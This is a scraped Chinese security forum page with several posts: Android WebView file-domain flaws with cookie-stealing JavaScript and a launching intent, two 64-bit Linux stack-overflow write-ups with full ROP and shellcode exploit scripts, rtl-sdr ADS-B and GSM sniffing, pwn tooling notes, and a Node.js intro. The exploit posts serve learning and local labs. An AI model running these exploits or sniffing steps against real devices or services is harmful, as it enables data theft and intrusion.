在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源，包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。
360手机浏览器缺陷可导致用户敏感数据泄漏
以360手机浏览器4.8版本为例，由于未对file域做安全限制，恶意APP调用360浏览器加载本地的攻击页面（比如恶意APP释放到SDCARD上的一个HTML）后，就可以获取360手机浏览器下的所有私有数据，包括webviewCookiesChromium.db下的cookie内容，攻击页面关键代码：
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 获取本地文件代码
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
漏洞利用代码：
copyFile(); //自定义函数，释放filehehe.html到sd卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
0X05 WebView file跨域漏洞
Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞，导致允许从http域跨向file域，实现跨域漏洞。以某浏览器4.5.0.511版本为例，写一个html，命名为filereach.html，存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示：
<iframe name=f src="www.baidu.com" ></iframe>
*本站禁止HTML标签噢*
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
在浏览器中打开服务器上的filereach.html，将从http域跳转到file域
0X06安全开发建议
1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位；
2)建议开发者通过以下方式移除该JavaScript接口：
removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility")；
removeJavascriptInterface("accessibilityTraversal")
3)出于安全考虑，为了防止Java层的函数被随便调用，Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解
4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能
5)通过以下设置，防止越权访问，跨域等安全问题：
setAllowFileAccess(false)
setAllowFileAccessFromFileURLs(false)
setAllowUniversalAccessFromFileURLs(false)
0X07参考信息
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224
http://drops.wooyun.org/webview.html
[查看全文]
本帖最后由 math1as 于 2016-7-18 19:56 编辑
首先拿到程序dep
使用gdb-peda加载调试
checksec发现开启了NX(dep防护)
在这里也可以用cat /proc/pid/maps的方法来查看
发现栈的内存只有rw,没有执行的权限了
那么这里也是一开始就遇到了一个问题,直接进行buffer覆盖,无法控制rip
一开始以为是rsp被破坏了,然后自己找了一番资料
基本上是由于x86和x64平台区别的原因
那么是什么导致了异常而rip无法跳转呢?
原因如下:程序使用的地址不能大于0x00000007ffffff.....
这里我们试着用小于这个数值的buffer去填充
果然,成功的控制了rip的数值
但是我们的pattern字符串并不小于这个数值,所以需要找一个方法
ret指令等效于pop rip;ret,因此我们可以用$rip的值来计算偏移
pattern offset $rip
得到了72,因此我们的buffer长度填充为72个A
那么在开启了NX的情况下无法直接执行栈中填充的shellcode,所以我们这里使用rop来跳过
那么另外x64平台下还有一个问题
先放一张wiki的图
这是在x86环境下,栈的结构图,基本上可以看到,入栈的param先填满高地址,最后是函数返回地址
但是在x64的环境下,函数参数的传递首先由6个寄存器进行,多余的参数再进行入栈操作
那么第一个用到的寄存器就是rdi,也就是说,我们无法通过直接覆盖栈的方式来传递参数了
这里我们最终想的是调用system函数来执行/bin/sh
所以说,需要用到gadget了,这是存在内存中,每次执行一条语句后就会ret的汇编指令
使用ROPgadget来进行搜寻,你可以用pip install的方式来安装它
在程序中我们并没有搜索到想要的代码,所以我们在它链接的libc.so中搜索
首先使用ldd ./dep命令来查看他调用的libc.so
然后我们就可以搜索要用的gadget了
ROPgadget --binary xxx.libc.so --only "pop|ret"
使用其中的一条pop rdi指令来把/bin/sh对应的字符串地址弹到rdi中。
那么最后一步了,如何确定/bin/sh的位置和system的地址呢
在不开启aslr的情况下,gdb中直接用print system来查看其地址
然后用pwntools里的symbols功能来计算偏移量和查找/bin/sh
当然,你也可以直接用gdb来find "/bin/sh"
然后用socat把这个程序运行在6666端口
执行我们的payload
那么成功的获取了一个system执行的/bin/sh的shell
完整的脚本代码如下:
[mw_shl_code=python,true] #!/usr/bin/python
from pwn import *
#test=process('./dep')
test=remote('127.0.0.1',6666)
libc = ELF('./libc-2.19.so')
systemaddr=0x7ffff7a72490
sh_offset=next(libc.search('/bin/sh')) -libc.symbols['system']
ret_offset=0x0000000000022482 - libc.symbols['system']
ret_addr=p64(systemaddr+ret_offset)
sh_addr=p64(systemaddr+sh_offset)
print ret_offset
ret_addr=p64(0x7ffff7a53482)
systemaddr=p64(systemaddr)
buffer='A'*72
payload=buffer+ret_addr+sh_addr+systemaddr
test.send(payload)
test.interactive()[/mw_shl_code]
[查看全文]
本帖最后由 math1as 于 2016-6-24 01:33 编辑
注意,非法的使用本文介绍的技术手段可能违法相关法规,请仅在学习范围内使用
假设您已经使用了kali linux 2的渗透测试环境,可以跳过驱动的安装部分。
那么这次也是为了好好的玩玩wireless security方面的几个开源项目,入手了一块高低频rtl-sdr
包含了100khz-25Mhz,以及上限到1.7GHZ的接收能力。
桌子很乱,设备样子大概长这样。
首先
git clone git://github.com/MalcolmRobb/dump1090
这是一个开源的项目,中国民航的及时位置信息通过1090MHZ明文传输
执行make进行编译
然后开始抓取
./dump1090 --aggressive --interactive --net
这样会将抓取到的客机数据,重定向到本机8080端口,并用google地图api及时显示位置
那么访问8080端口查看信息
找到了这架飞机,那么根据航班号查询一下,发现确实是从咸阳机场起飞的。
接下来我们还可以做一些gsm嗅探
但是由于sms协议需要支持跳频,我的设备精度不够无法抓取到短信等数据(需要另一套设备啦)
首先仍然采用airprobe开源项目
git clone git://git.gnumonks.org/airprobe.git
./configure 并且make编译
编译后
首先用kal来搜索附近的基站信息
kal -s 900
国内的移动和联通基站大部分都在gsm 900频段附近
cd /src/python
执行./gsm_receive_rtl.py -s 1e6 -f 频率 来抓取基站的广播信息
如果波峰在原点附近,我们就可以用wireshark 进行抓包了
当然选择本地环回lo:loop
得到了基站信息,那么这个CCCH数据包告诉我们,确实是china mobile 中国移动的基站
接下来我们就可以根据这些数据,获取arfcn编号,然后利用其他设备来进行短信数据的抓取了(谨慎,虽然烂大街,但仍有可能违反法律)
[查看全文]
接一:这里以一个典型的stack overflows漏洞来进行学习
以下是一个64位linux程序的溢出分析过程
要在本地复现这个环境,请使用socat tcp-l:6666,reuseaddr,fork exec:./pwn
其中,fork exec是指每次都用一个子进程去响应。
http://shell-storm.org/shellcode/ 用于shellcode的快捷查询
首先直接运行./pwn,发现它提示输入信息,于是记录下特征字符串"easy"
然后我们用hopper加载一下这个pwn文件
跟随字符串找到最核心部分的代码
用hopper的插件alt+enter反编译为C.可以看到这里溢出应该是memcpy函数导致的。
为了复现环境,我在这里用socat tcp-l:6666,reuseaddr,fork exec:./pwn
接下来,使用gdb加载pwn,并且在exit()处设置断点.
这里的目的是,在程序执行ret时,把保存的rbp弹出了。于是可以观察到,如果被覆盖后,实际的rbp.
用rbp就可以来计算偏移。我们使用peda自带的pattern create创建一个有序字符串
然后,在调试时输入这个字符串。最终在断点停下。
使用pattern offset $rbp 计算偏移量。
由于栈的结构是这样的 |覆盖的rbp|覆盖的返回地址|rsp指向|
于是这里得到的结果32要+8 (8个byte),得到的结果是缓冲区大小为40
使用jmpcall $rsp指令来为我们找到一个合适的跳板
最终拼凑出了这个shellcode
[mw_shl_code=python,true] #!/usr/bin/env python
from zio import *
a=open('overflows.txt','wb+')
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = 'a'*40 + l64(0x4b23a3) + shellcode
a.write(payload)
a.close()[/mw_shl_code]
使用如下命令来进行溢出
cat overflows.txt -|nc -nvv 127.0.0.1 6666
这里的-管道符代表了标准输入流,如果不加入,会导致获取shell后,因为没有命令执行参数而直接退出。
加上管道符,则可以直接从键盘读取输入的指令。最终得到了一个shell,其权限和运行它的用户一致。
[查看全文]
pwn是二进制安全的一个分方向,其主要目的是挖掘软件中的缓冲区溢出;格式化字符串等漏洞,来达到控制程序流程,甚至任意命令执行的结果
作为开始的一篇,首先还是复习一下binary的一些基础知识,以下是需要用到的资料。
[灰帽攻击安全手册].(美)哈里斯&哈珀
《汇编语言》王爽
Exploit编写系列教程1-10篇
Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides
http://shell-storm.org/shellcode/ 在线的shellcode库
这里首先以简单的栈溢出作为开始吧。
栈溢出的形式多种多样,其中最主要的方式是通过覆盖函数的返回地址,来使程序执行任意地址的指令的方法。
同时,由于现代计算机不区分代码和数据,于是我们还可以构造一段shellcode,直接跳转执行,来实现在程序中植入代码的效果。
由于笔者之前有一定的基础,所以这里比较简略,由于程序运行时每次初始化后的地址都有所不同,覆盖的返回地址不能是某段代码的一个静态的地址(硬编码)。
而最好是一条程序中地址相对固定的,类似于jmp rsp的指令。
这里如果是为了方便快速的寻找,大可不用gdb,直接使用objdump命令
objdump -d test 反汇编test中的需要执行指令的那些section
objdump -D test 与-d类似，但反汇编test中的所有section
对于objdump指令,可以使用|grep xxx管道符来过滤出我们想要的的指令。
对于python来说,我们要方便的生成填充用的buffer和之后的payload,可以直接用python -c "print '$\backslash$x11'*1" 之类的指令来实现
在python中要集成在pwning中的网络通信功能,需要用到zio库,这个库可以在Linux下通过pip来进行pip install zio,如果没有pip,则需要sudo apt-get install pip
参考网页:https://pypi.python.org/pypi/zio
在这其中,zio主要起到的是简化socket编程的作用。
大概的使用方法如下
from zio import * 来导入zio库。
如果你需要在本地进行调试
io = zio('./buggy-server') \# used for local pwning development
如果需要连接到远程服务器
io = zio(('1.2.3.4', 1337)) \# used to exploit remote service
Bigtang给出了更详细的用法
io = zio(target,timeout=5,print_read=COLORED(REPR,’yellow’),print_write=COLORED(REPR,’red’))
这里target就是ip,port. 也就是说后面还可以指定超时的时间和读写的字体颜色。
io.read_until(“input name:\x00″) 可以指定读取的终止部分。
io.write()方法,用于向服务器端传输指定的数据(字符串)
另外,zio内部带有很方便的转换函数l32,l64.可以把你的给的形似0x01020202的内存地址转化为hex编码,并且反序后的地址,这样就可以直接用write()方法了。
如果你通过write方法获取了一个交互shell,使用io.interact()来进入这个shell。
GDB:在linux下,唯一真正可靠的动态调试工具,大概就是gdb了,自带了disassemble的功能,可以查看到汇编源码,美中不足是没有GUI,而且指令较为复杂。
BT命令,可以查看当前使用的栈和其地址。另外,如果需要下断点,使用break 函数名,如break main,来对main()函数下断
如果要对某个内存地址下断点,使用break *内存地址来下断点,同时,后面还可以跟上条件语句,如 break *01010101 if x==1,这里如果有一个局部变量x,就可以进行判断
gdb查看指定地址的内存地址的值：examine 简写 x 用法:x/(n,f,u为可选参数) 内存地址(或者\$寄存器名称)
其中n是整数,表示从x开始到后面取几个内存单元的内容加以显示,每个内存单元的大小由u决定,u=b:1 byte h:2 bytes w:4 bytes g:8 bytes (均以字节为单位,1byte=2bits
f是显示的字符格式,x是16进制,c是字符串(char),d是10进制,i可以显示出反编译的汇编代码。
查看寄存器的指令,使用i r \$寄存器名称,或者是i r a来查看所有寄存器。
用r运行该程序 同时后面可以跟上参数python -c ' '来把输出的内容应用到程序的输入流上。
使用set disassembly-flavor intel可以把反汇编的结构显示为intel风格
set variable 变量名= 或者*(地址)= 可以修改内存的数值
使用metasploit的pattern_create.rb来精确计算缓冲区的大小,其原理是生成一个有序字符串,根据最终EIP被冲刷后的结果,来确定缓冲区的大小。
该工具位于framework\tools目录下,使用方法是 ./pattern_create.rb 字符串大小(例如5000)
最终通过./pattern_offset.rb (EIP地址)0x356b4234 5000 来计算出最终的buffer大小。
如果buffer过大,其实可以先大致的确定其大体部分,再把这个模型附加在后面,会更省时间和计算量。
//在gdb下,由于无法像od那样每步跟踪,所以对于rip来说无法直接观测到被覆盖后的结果。因此我们需要直接对rbp进行观察,计算出了rbp之前的buffer后,就可以加上rbp的长度,然后继续溢出
peda可以方便的让你查看寄存器的信息和其他数据,它也是用python编写的,而且直接附加到gdb。
可以用jmpcall来搜寻一些跳板指令,如jmpcall rsp
[查看全文]
从自己博客搬运的一些自己写的东西
=================================================
简单的说 Node.js 就是运行在服务端的 JavaScript
它基于google v8引擎,而且相比起php等语言来说,它自带了web service的功能(无需nginx,apache)
那么这里为了用起来顺手一点直接win下从官网download了node.exe
然后配置了path环境变量
使用require函数来载入http模块。
并且创建一个http server
[mw_shl_code=javascript,true] var http = require('http');
http.createServer(function (request, response) {
response.writeHead(200, {'Content-Type': 'text/html'});
response.end(' *本站禁止HTML标签噢* Hello World</h1>\n');
}).listen(8888);
console.log('Server running at [url]http://127.0.0.1:8888/'[/url]);[/mw_shl_code]
测试后it works.
在这里,匿名函数直接被当做一个参数传递给了createServer
================================================================================================
事件驱动:
nodeJS同时充当了web server和脚本
而请求是异步的,apache和nginx等会对每一个请求新建一个进程,来执行单独的php脚本
那么node如何办到呢?
我们给某个函数传递了一个参数,这个参数是一个匿名函数。
当发生一个事件(比如新的请求到达)时,使用回调的方法,来执行这个被传递的函数。
================================================================================================
require函数可以加载一个内置模块,或者自己编写的js.
在加载自己编写的js时,请注意路径加上./ 作为当前目录
返回一个对象,可以调用其方法.
比如,我在server.js里编写了一个start方法。
在其尾部加入一行代码
exports.start = start; 用来导出模块
这样就可以在index中,实例化这个模块为一个对象,并调用其中的start函数
[mw_shl_code=javascript,true] var server = require("./server");
server.start();[/mw_shl_code]
[查看全文]
